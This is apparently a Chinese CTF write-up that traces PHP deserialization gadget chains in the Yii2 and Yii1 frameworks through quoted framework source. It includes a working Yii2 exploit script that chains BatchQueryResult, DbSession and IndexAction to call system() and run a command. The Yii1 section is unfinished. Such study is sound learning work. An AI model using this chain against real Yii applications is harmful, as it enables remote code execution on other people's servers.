前言 打了黄鹤杯的比赛,上了个Yii框架反序列化题目,好像是Yii1的,但是时间四个小时不太够,序列化的入口一个在Cookie,具体就没看了,打算跟一跟框架链子
Yii2框架反序列化 环境配置 直接下载源码进行分析即可,如果要运行服务,下载对应可运行的应用模板即可
exp 版本 yii-2.0.37
doing 我们登录进去之后看看cookie
1 _identity=53ac525ca3f606bcb499a53679c17a66546d47b38565aeb72a6589e14cb9955ba:2:{i:0;s:9:"_identity";i:1;s:28:"["100","test100key",2592000]";}
即为
1 2 3 4 5 6 7 # 对下面的序列化字符串hmac_sha256的加密结果-64bit字符串 8ec3dd9f09fa0f7ba2c616c5bd747769af799b8cf4f9aec0ab49cf4bb5aefd68 # a:2表示是数组类型,且长度为2 # 花括号内的i:0;s:5:"_csrf"; i表示索引,s表示长度,后面表示值 # 反序列化后 ["_csrf", "lIq-Z4-Z69EZ4sVtPWI4Usy167yDwjbe"] a:2:{i:0;s:5:"_csrf";i:1;s:32:"lIq-Z4-Z69EZ4sVtPWI4Usy167yDwjbe";}
我们跟进代码的入口 web#Request#loadCookies()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 protected function loadCookies ( ) { $cookies = []; if ($this ->enableCookieValidation) { if ($this ->cookieValidationKey == '' ) { throw new InvalidConfigException (get_class ($this ) . '::cookieValidationKey must be configured with a secret key.' ); } foreach ($_COOKIE as $name => $value ) { if (!is_string ($value )) { continue ; } $data = Yii ::$app ->getSecurity ()->validateData ($value , $this ->cookieValidationKey); if ($data === false ) { continue ; } if (defined ('PHP_VERSION_ID' ) && PHP_VERSION_ID >= 70000 ) { $data = @unserialize ($data , ['allowed_classes' => false ]); } else { $data = @unserialize ($data ); } if (is_array ($data ) && isset ($data [0 ], $data [1 ]) && $data [0 ] === $name ) { $cookies [$name ] = Yii ::createObject ([ 'class' => 'yii\web\Cookie' , 'name' => $name , 'value' => $data [1 ], 'expire' => null , ]); } } } else { foreach ($_COOKIE as $name => $value ) { $cookies [$name ] = Yii ::createObject ([ 'class' => 'yii\web\Cookie' , 'name' => $name , 'value' => $value , 'expire' => null , ]); } } return $cookies ; }
这里默认开启Cookie校验 关键就是两处
1 2 3 4 5 6 7 $data = Yii::$app->getSecurity()->validateData($value, $this->cookieValidationKey); if (defined('PHP_VERSION_ID') && PHP_VERSION_ID >= 70000) { $data = @unserialize($data, ['allowed_classes' => false]); } else { $data = @unserialize($data); }
第一部分需要我们通过正确的hmac_sha256加密的所需要的密钥 第二部分如果php版本大于7,那么整个利用链就不存在了,所以得在低版本上 也许if (defined('PHP_VERSION_ID') && PHP_VERSION_ID >= 70000)
绕过这个就能进入纯粹的反序列化?
密钥 跟进校验逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public function validateData ($data , $key , $rawHash = false ) { $test = @hash_hmac ($this ->macHash, '' , '' , $rawHash ); if (!$test ) { throw new InvalidConfigException ('Failed to generate HMAC with hash algorithm: ' . $this ->macHash); } $hashLength = StringHelper ::byteLength ($test ); if (StringHelper ::byteLength ($data ) >= $hashLength ) { $hash = StringHelper ::byteSubstr ($data , 0 , $hashLength ); $pureData = StringHelper ::byteSubstr ($data , $hashLength , null ); $calculatedHash = hash_hmac ($this ->macHash, $pureData , $key , $rawHash ); if ($this ->compareString ($hash , $calculatedHash )) { return $pureData ; } } return false ; }
那么现在假设我们完成了前置任务,如何进行pop链子呢? 老规矩,全局搜索入口方法 这里看到只有一个类实现__destruct()
1 2 3 4 5 public function __destruct ( ) { $this ->reset (); }
这里调用了reset()
方法,我们看看这个方法
1 2 3 if ($this ->_dataReader !== null ) { $this ->_dataReader->close (); }
这里可以调用__call
魔术方法 一眼Component#__call()
1 2 3 4 5 6 $this ->ensureBehaviors ();foreach ($this ->_behaviors as $object ) { if ($object ->hasMethod ($name )) { return call_user_func_array ([$object , $name ], $params ); } }
这个最多调用一个类的reset方法,考虑放弃 然后找到base/Component.php
1 2 3 4 5 6 7 8 public function run ( ) { if ($this ->checkAccess) { call_user_func ($this ->checkAccess, $this ->id); } return $this ->prepareDataProvider (); }
现在关键就是,有那么一个方法,可以被入口类启动,又能调用指定类的run方法 翻了翻文章 说是web/DbSession.php#close() 但是实际并无触发点
1 实际并非,由于我看的是源码文件而不是应用模板文件,会错过很多东西()
跟进close()
1 2 3 4 5 if ($this ->getIsActive ()) { $this ->fields = $this ->composeFields (); YII_DEBUG ? session_write_close () : @session_write_close (); }
跟进$this->composeFields()
1 2 3 4 5 6 7 8 9 10 11 protected function composeFields ($id = null , $data = null ) { $fields = $this ->writeCallback ? call_user_func ($this ->writeCallback, $this ) : []; if ($id !== null ) { $fields ['id' ] = $id ; } if ($data !== null ) { $fields ['data' ] = $data ; } return $fields ; }
这里调用无参函数,直接调用run(),实现RCE
也有另一个思路看__call魔术方法
src/Faker/Generator.php
1 2 3 4 public function __call ($method , $attributes ) { return $this ->format ($method , $attributes ); }
1 2 3 4 public function format ($formatter , $arguments = array ( ) ) { return call_user_func_array ($this ->getFormatter ($formatter ), $arguments ); }
继续跟进
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public function getFormatter ($formatter ) { if (isset ($this ->formatters[$formatter ])) { return $this ->formatters[$formatter ]; } foreach ($this ->providers as $provider ) { if (method_exists ($provider , $formatter )) { $this ->formatters[$formatter ] = array ($provider , $formatter ); return $this ->formatters[$formatter ]; } } throw new \InvalidArgumentException (sprintf ('Unknown formatter "%s"' , $formatter )); }
可控,即可以调用任意类的无参方法->run(),进行RCE 当然,有更多思路,还有能够RCE的无参方法吗? 有无其他入口类呢? 写下exp 直接反序列化要调一下,不然不能通过
1 if (!$this ->getIsActive ())
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php namespace yii \rest { class IndexAction { public $checkAccess ; public $id ; public function __construct ( ) { $this ->checkAccess = 'system' ; $this ->id = 'calc' ; } } } namespace yii \db { use yii \web \DbSession ; class BatchQueryResult { private $_dataReader ; public function __construct ( ) { $this ->_dataReader=new DbSession (); } } } namespace yii \web { use yii \rest \IndexAction ; class DbSession { public $writeCallback ; public function __construct ( ) { $a =new IndexAction (); $this ->writeCallback=[$a ,'run' ]; } } } namespace { use yii \db \BatchQueryResult ; echo urlencode (serialize (new BatchQueryResult ())); }
按这种格式去调,不然有杂七杂八的错误了 另一个稍微改一下就行了() 起手再分析几条() 这里用的是RunProcess#__destruct
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public function __destruct ( ) { $this ->stopProcess (); } public function stopProcess ( ) { foreach (array_reverse ($this ->processes) as $process ) { if (!$process ->isRunning ()) { continue ; } $this ->output->debug ('[RunProcess] Stopping ' . $process ->getCommandLine ()); $process ->stop (); } $this ->processes = []; }
这里全局找__call方法 后面可以打Generate#__call->format->Component#run 后面也可以打
1 2 3 4 5 6 7 8 9 10 11 12 13 public function __call ($name , $arguments ) { $i = 0 ; do { $res = call_user_func_array (array ($this ->generator, $name ), $arguments ); $i ++; if ($i > $this ->maxRetries) { throw new \OverflowException (sprintf ('Maximum retries of %d reached without finding a valid value' , $this ->maxRetries)); } } while (!call_user_func ($this ->validator, $res )); return $res ; }
通过第一个任意类内方法调用触发一个__call返回值控制$res 再控制validator就可以RCE了
总之感觉Yii2的链子蛮多的,关键可能相对高版本会有一些限制,这时候针对绕过就行了,比如wakeup绕过或者其他
工具phpggc 标记
Yii1框架反序列化 版本 1.1.26
链子 赛题确实是这个版本,实际和2区别还是很大的 所以单独弄一下,也算是弥补一些遗憾吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 protected function getCookies ( ) { $cookies =array (); if ($this ->_request->enableCookieValidation) { $sm =Yii ::app ()->getSecurityManager (); foreach ($_COOKIE as $name =>$value ) { if (is_string ($value ) && ($value =$sm ->validateData ($value ))!==false ) $cookies [$name ]=new CHttpCookie ($name ,@unserialize ($value )); } } else { foreach ($_COOKIE as $name =>$value ) $cookies [$name ]=new CHttpCookie ($name ,$value ); } return $cookies ; }
跟进校验 发现没有太大问题,开始找链子 发现只有一个wakeup可行,网上也找到相关的链子该怎么走
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 public function __wakeup ( ) { $map =array (); $params =array (); foreach ($this ->params as $name =>$value ) { if (strpos ($name ,self ::PARAM_PREFIX )===0 ) { $newName =self ::PARAM_PREFIX .self ::$paramCount ++; $map [$name ]=$newName ; } else { $newName =$name ; } $params [$newName ]=$value ; } if (!empty ($map )) { $sqlContentFieldNames =array ( 'select' , 'condition' , 'order' , 'group' , 'join' , 'having' , ); foreach ($sqlContentFieldNames as $field ) { if (is_array ($this ->$field )) foreach ($this ->$field as $k =>$v ) $this ->{$field }[$k ]=strtr ($v ,$map ); else $this ->$field =strtr ($this ->$field ,$map ); } } $this ->params=$params ; }
看该文章给了个链子,但是和实际题目给的hint不太符合,先跟着打一下
1 这里$this->params是可控的,继续看\framework\collections\CMapIterator.php这个类,这里利用了接口Iterator,关于这个接口的详细使用可以查看:https://blog.csdn.net/wuxing26jiayou/article/details/50977462 ,所以会调用到current方法,
1 2 3 4 public function current ( ) { return $this ->_d[$this ->_key]; }
1 2 3 4 5 6 而php另外一个接口ArrayAccess 返回实例化对象的数组形式,会直接调用offsetGet方法,在文件\framework\caching\CCache.php中,使用了这个接口 public function offsetGet ($id ) { return $this ->get ($id ); }
跟进关键方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public function get ($id ) { $value = $this ->getValue ($this ->generateUniqueKey ($id )); if ($value ===false || $this ->serializer===false ) return $value ; if ($this ->serializer===null ) $value =unserialize ($value ); else $value =call_user_func ($this ->serializer[1 ], $value ); if (is_array ($value ) && (!$value [1 ] instanceof ICacheDependency || !$value [1 ]->getHasChanged ())) { Yii ::trace ('Serving "' .$id .'" from cache' ,'system.caching.' .get_class ($this )); return $value [0 ]; } else return false ; }
现在跟进如何控制value值
1 2 3 4 5 protected function getValue ($key ) { throw new CException (Yii ::t ('yii' ,'{className} does not support get() functionality.' , array ('{className}' =>get_class ($this )))); }
1 2 3 4 5 protected function getValue ($key ) { throw new CException (Yii ::t ('yii' ,'{className} does not support get() functionality.' , array ('{className}' =>get_class ($this )))); }
原链子版本这里还可以进一步操作,从而控制返回值 芭比Q了 断在这,现在跟一遍官方的思路() hint的思路是
1 2 3 4 5 CComponent#evaluateExpression()方法存在代码执行 而COutputCache#init()方法中最终可以走到那 现在的目的就是调用这个init方法 但是唯一的wakeup也走不到这里() 当时就卡这没招了
希望能早点出相关的链子吧() 到此为止吧
参考 https://jfanx1ng.github.io/2020/10/09/yii1%E5%92%8Cyii2%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/ https://blog.csdn.net/m0_59598029/article/details/128989590 https://wanth3f1ag.top/2025/05/23/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-Yii%E6%A1%86%E6%9E%B6/